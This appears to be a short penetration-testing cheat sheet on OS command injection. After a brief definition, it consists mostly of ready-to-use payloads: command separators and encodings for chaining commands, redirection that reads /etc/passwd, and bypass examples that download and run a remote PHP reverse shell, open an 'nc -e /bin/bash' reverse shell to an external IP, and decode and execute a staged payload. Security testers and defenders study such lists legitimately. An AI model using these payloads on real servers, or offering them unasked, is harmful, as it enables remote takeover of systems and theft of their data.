Command Injection

What is command Injection?

OS command injection also known as shell injection is a web security vulnerability that allows an attacker to execute arbitrary operating system OS commands on the server that is running an application, and typically fully compromise the application and all its data. From [here](https://portswigger.net/web-security/os-command-injection).

Context

Depending on where your input is being injected you may need to terminate the quoted context using `"` or `'` before the commands.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands

#Not execute but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interesting in read about this WAF bypasses.

Examples:

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

References

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}

{% embed url="https://portswigger.net/web-security/os-command-injection" %}

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